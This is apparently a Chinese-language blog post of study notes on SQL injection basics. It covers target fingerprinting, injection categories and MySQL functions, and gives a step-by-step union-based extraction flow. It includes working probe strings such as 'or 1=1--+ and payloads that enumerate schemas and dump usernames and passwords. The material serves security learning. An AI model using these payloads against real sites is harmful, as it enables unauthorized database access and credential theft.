SQL注入基础

操作系统

1.操作系统判断:

  Windows对大小写不敏感,Linux敏感

  使用TTL值判断(不准确)

  使用nmap判断:nmap -O [IP]

2.简要区别两者的意义

3.操作系统层面漏洞类型对应的意义

4.简要操作系统层面漏洞影响的范围

举例:MS17010

数据库

1.识别数据库类型:

  (1)常见的代码及对应数据库类型

    ASP+Access

    PHP+mysql

    aspx+mssql

    jsp+mssql,oracle

    python+mongodb

    ......

  (2)使用nmap扫描:

2.操作系统识别及意义:

  不同的数据库有对应的攻击方式

3.数据库常见漏洞攻击:

  弱口令,数据库漏洞(SQL注入,mysql身份认证绕过)

第三方软件

1.如何判断有哪些第三方平台或软件:

  通过网站扫描,端口扫描

2.出去常规的web安全及安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试的目标,此类目标测试原则只是少了web应用或其他安全问题,所以明确安全测试思路是很重要的!

sql分类

1.基于从服务器接收到的响应 

  ▲基于错误的SQL注入

  ▲联合查询的类型

  ▲堆查询注射

  ▲SQL盲注

  •基于布尔SQL盲注

  •基于时间的SQL盲注

  •基于报错的SQL盲注

2.基于如何处理输入的SQL查询(数据类型) 

  •基于字符串

  •数字或整数为基础的

3.基于程度和顺序的注入(哪里发生了影响)

  ★一阶注射

  ★二阶注射

  一阶注射是指输入的注射语句对WEB直接产生了影响,出现了结果;二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,通过其它的辅助间接的对WEB产生危害,这样的就被称为是二阶注入.
4.基于注入点的位置上的 

  ▲通过用户输入的表单域的注射。

  ▲通过cookie注射。

  ▲通过服务器变量注射。 (基于头部信息的注射)

系统函数

1.常用函数

  version()——MySQL版本
  user()——数据库用户名
  database()——数据库名
  @@datadir——数据库路径
  @@version_compile_os——操作系统版本

2.查出所有信息

  concat(str1,str2,...)——没有分隔符地连接字符串

   concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

  group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

3.用于 尝试的语句 

  Ps:--+可以用#替换,url提交过程中Url编码后的#为%23

  or 1=1--+

  'or 1=1--+

  "or 1=1--+

  )or 1=1--+

  ')or 1=1--+

  ") or 1=1--+

  "))or 1=1--+

4.union

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

  SELECT column_name(s) FROM table_name1

  UNION

  SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法

  SELECT column_name(s) FROM table_name1

  UNION ALL

  SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

注入流程

 

  •  确认存在sql注入后,先使用order by 确定字段数:?id=1' order by 4 --+
  • 使用union确认回显位置:?id=-1' union select 1,2,3 --+
  • 查询user(),version(),database(),@@datadir,@@version_compile_os:?id=-1' union select 1,user(),database() --+
  • 查询所有数据库名:?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
  • 查询相关数据库表名(security):?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
  • 查询数据库列名(users):?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
  • 查询数据库数据:?id=-1' union select 1,username,password from users where id=2--+

information_schema

   information_schema数据库是MySQL自带的,MySQL 5以下没有这个数据库,它提供了访问数据库元数据的方式.

  什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等.也就是说information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等.在INFORMATION_SCHEMA中,有数个只读表.

 

posted @ 2021-07-01 16:23  GGany  阅读(90)  评论(0)    收藏  举报